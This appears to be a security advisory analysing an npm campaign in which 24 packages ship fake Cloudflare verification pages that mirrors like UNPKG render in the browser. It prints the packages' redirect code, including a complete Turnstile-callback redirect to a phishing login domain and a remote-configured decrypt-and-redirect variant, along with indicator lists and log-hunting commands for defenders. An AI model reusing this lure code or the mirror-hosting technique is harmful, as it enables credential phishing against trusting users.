CVE
Not assigned
CWE
CWE-451, CWE-506
Affected Surface
- The 24 npm packages identified in the campaign, including early fixed-redirect variants such as `ndmxchdjxn2` and late remote-configured variants such as `mbxcnsuwgs1`
- Browsers that opened direct mirror URLs such as `https://unpkg.com/:package@:version/index.html` for the affected packages
- Teams that treat npm mirror domains as implicitly safe web origins instead of as package-file CDNs
- Internal docs, tickets, chats, portals, or phishing lures that linked victims to the mirrored package HTML pages
The freshest package-registry story in the last three days is not another postinstall infostealer. It is a small npm campaign that abuses mirror behavior itself. OX Security reported 24 npm packages whose primary content is a fake Cloudflare verification page stored as index.html. Because mirrors such as UNPKG expose package files directly in the browser, those pages render from a domain many teams already allow and many users already trust.
That changes the usual question for AppSec teams. The main risk is not “did somebody import the package?” It is “did somebody open the mirrored HTML?” The package becomes storage. The mirror becomes delivery infrastructure.
Affected packages
OX’s package list is small enough to enumerate in full:
| Package | Published (UTC) | Family | Status in OX reporting |
|---|---|---|---|
bgzxcuite2 | 2026-08-04 07:17 | Microsoft typosquat | Taken down |
prezdentkxheiw | 2026-08-06 06:22 | Microsoft typosquat | Taken down |
egair0810 | 2026-08-10 07:35 | Microsoft typosquat | Taken down |
mnteckets | 2026-08-10 11:02 | Microsoft typosquat | Taken down |
airdzticket | 2026-08-11 08:17 | Microsoft typosquat | Taken down |
egypt0811 | 2026-08-11 09:06 | Microsoft typosquat | Taken down |
passport811 | 2026-08-11 09:21 | Microsoft typosquat | Taken down |
vxhjkseuiaqkb | 2026-08-13 01:35 | Microsoft typosquat | Live |
ndmushdkeqe | 2026-08-13 07:57 | Microsoft typosquat | Live |
ndmxchdjxn2 | 2026-08-13 08:32 | Microsoft typosquat | Live |
ndmfguyhoxc3 | 2026-08-13 08:44 | Microsoft typosquat | Live |
mjsdqwocvn | 2026-08-14 02:28 | Microsoft typosquat | Live |
m2fcsfyjkuxb | 2026-08-14 02:53 | Microsoft typosquat | Live |
m3fdfocdoewn | 2026-08-14 04:13 | Microsoft typosquat | Live |
@worrisome/reutil | 2026-08-14 07:14 | keyval new logic | Live |
testdgdbcsd | 2026-08-14 08:03 | Microsoft typosquat | Live |
tesgfvbncsdbcv | 2026-08-14 08:08 | Microsoft typosquat | Live |
mndsxcusiwlk1 | 2026-08-17 02:47 | keyval new logic | Live |
mn2adskhweox | 2026-08-17 03:13 | keyval new logic | Live |
mn3sadkoiewu | 2026-08-17 04:01 | keyval new logic | Live |
mn4xcouzvhus | 2026-08-17 08:17 | keyval new logic | Live |
mbxcnsuwgs1 | 2026-08-24 03:03 | keyval new logic | Live |
skxcmwuncbg2 | 2026-08-24 04:02 | keyval new logic | Live |
mobiwaefhxc3 | 2026-08-24 06:52 | keyval new logic | Live |
This is one of the clearer examples of a package campaign where installation is not the whole story. Several of the packages remained resolvable when checked during this write-up, including ndmxchdjxn2@1.0.0 and mbxcnsuwgs1@1.0.0.
The package structure is minimal on purpose
The registry metadata for the live sample ndmxchdjxn2@1.0.0 is unusually small:
{
"name": "ndmxchdjxn2",
"version": "1.0.0",
"main": "index.html",
"files": ["index.html"]
}
The late variant mbxcnsuwgs1@1.0.0 uses the same shape. There is no real JavaScript library here, no legitimate module API, and no effort to hide a Node.js runtime payload behind a normal package entrypoint. The package exists to ship a browser-renderable file into npm’s replication path.
That design lines up exactly with UNPKG’s own documented behavior:
https://unpkg.com/:package@:version/:file
UNPKG also states that every file on npm is automatically available on unpkg.com within minutes of publication. That behavior is useful for legitimate demos and docs. It also gives an attacker a trusted CDN origin for arbitrary HTML bundled inside a package.
The early variant is a fake Cloudflare page plus a direct redirect
The ndmxchdjxn2 sample is a straightforward browser lure. The HTML loads Cloudflare Turnstile and binds the completion callback to attacker logic:
<div class="cf-turnstile"
data-sitekey="0x4AAAAAADrvn4rDM7WVvgPh"
data-callback="onTurnstileComplete">
</div>
The visible page text copies Cloudflare’s “Performing security verification” flow. The redirect path sits in the callback. The obfuscated code still leaves the important pieces visible at the edges:
function onTurnstileComplete(token) {
const targetUrl = new URL("https://login.microsofte.live/");
new URLSearchParams(window.location.search).forEach(function(value, key) {
targetUrl.searchParams.set(key, value);
});
window.location.replace(targetUrl.toString());
}
That is enough to describe the attack surface precisely:
victim opens unpkg.com/<package>@1.0.0/index.html
-> mirror renders fake Cloudflare verification page
-> Turnstile callback runs attacker JavaScript
-> browser redirects to login.microsofte.live
The HTML is not exploiting npm clients. It is exploiting browser trust in the mirror origin.
The late variant moved the destination off-package
The 24 August sample mbxcnsuwgs1 is more interesting because it removes the hardcoded redirect target from the obvious part of the page. The same fake verification screen is present, but the callback now carries remote-configuration plumbing:
const hostKey = '8raU8rWUFk' + ...;
const aesKeyBase64 = ...;
async function onTurnstileComplete(token) {
const response = await fetch(..., {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(...)
});
const payload = await response.json();
const counter = decodeBase64(...);
const ciphertext = decodeBase64(...);
const key = await crypto.subtle.importKey(...);
const url = new TextDecoder().decode(
await crypto.subtle.decrypt({ name: "AES-CTR", counter, length: 128 }, key, ciphertext)
);
window.location.replace(url);
}
OX reported that these later variants retrieve an encrypted value from api.keyval.org, decrypt it in the browser, and then redirect. The direct sample supports that reading even without full deobfuscation of every string constant. The file contains:
- a
hostKeyidentifier used to fetch remote state - an
aesKeyBase64constant - a
decodeBase64()helper crypto.subtle.importKey(...)crypto.subtle.decrypt(...)window.location.replace(...)
That is a better attacker design than the first wave. It decouples storage from destination. The package on npm and the cached HTML on the mirror can remain unchanged while the operator changes the live redirect target on the server side.
Why this matters for application security
This campaign does not fit the usual package-malware playbook:
- Installing the package is not the compromise event.
- Importing the package is not the compromise event.
- Visiting the mirrored HTML URL in a browser is the compromise path.
That matters because many enterprise controls make a quiet assumption that developer-package domains are low-risk browsing destinations. Some teams allow unpkg.com, yarnpkg.com, or regional mirrors broadly because they are part of the software delivery workflow. This campaign shows how quickly that trust can turn into a phishing primitive.
The abuse path is short:
publish HTML-only package to npm
-> mirrors replicate package files
-> victim opens trusted mirror URL
-> fake verification page runs in browser
-> page redirects to attacker-selected destination
BleepingComputer’s independent follow-up is useful here because it confirms the same core behavior from another angle: direct browser access to mirrored package files turns package mirrors into free hosting for phishing pages, and removed packages can remain accessible through mirror retention and caching.
Detection and scoping
Inventory the affected package names in dependency manifests first, even if installation alone is not proof of compromise:
rg -n '"(bgzxcuite2|prezdentkxheiw|egair0810|mnteckets|airdzticket|egypt0811|passport811|vxhjkseuiaqkb|ndmushdkeqe|ndmxchdjxn2|ndmfguyhoxc3|mjsdqwocvn|m2fcsfyjkuxb|m3fdfocdoewn|@worrisome/reutil|testdgdbcsd|tesgfvbncsdbcv|mndsxcusiwlk1|mn2adskhweox|mn3sadkoiewu|mn4xcouzvhus|mbxcnsuwgs1|skxcmwuncbg2|mobiwaefhxc3)"' \
package.json package-lock.json pnpm-lock.yaml yarn.lock
Then hunt for actual browser exposure. High-signal indicators include:
- requests for
*/index.htmlonunpkg.com,npmmirror, or similar mirror hosts - requests to
login.microsofte.live - requests to
api.keyval.orgimmediately after navigation to a package mirror URL - internal messages, wikis, or tickets containing direct mirror URLs for the affected package names
Example log hunting:
rg -n 'unpkg\.com/.+@1\.0\.0/index\.html|api\.keyval\.org|login\.microsofte\.live|ndmxchdjxn2|mbxcnsuwgs1' \
/var/log
If you have secure web gateway or proxy telemetry, look specifically for text/html responses from domains you normally classify as package infrastructure rather than as general browsing destinations.
Response guidance
If your environment only downloaded the package tarball into a dependency cache and nobody browsed the mirrored HTML, the response is closer to package hygiene than to host compromise. If users opened the mirror URLs and you cannot bound what happened after the redirect, treat it as a phishing incident and investigate accordingly.
Recommended response:
- Block the affected package names in your package firewall or registry policy if you have one.
- Review proxy, DNS, and browser telemetry for direct visits to mirrored package HTML.
- Reclassify mirror domains as potentially risky browser destinations when they serve standalone HTML files.
- Remove the package names and URLs from internal docs, tickets, or sandboxes if they were copied around during investigation.
- If users followed the redirect beyond the fake verification page, rotate credentials and review endpoint telemetry based on the final destination involved.
The technical lesson is straightforward. A package registry is not only a code distribution system. Once mirrors expose arbitrary files at stable browser URLs, it can also become a content-delivery layer for phishing. This campaign used the smallest possible package shape to prove the point.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- OX Security: ClickFix Phishing Pages Discovered in 24 npm Packages
- BleepingComputer: Hackers abuse npm mirrors to host phishing redirect pages
- TechNadu: Fake Cloudflare CAPTCHA Campaign Abuses npm Mirrors for ClickFix
- UNPKG documentation
- npm registry metadata for ndmxchdjxn2
- npm registry metadata for mbxcnsuwgs1
- CWE-451 User Interface (UI) Misrepresentation of Critical Information
- CWE-506 Embedded Malicious Code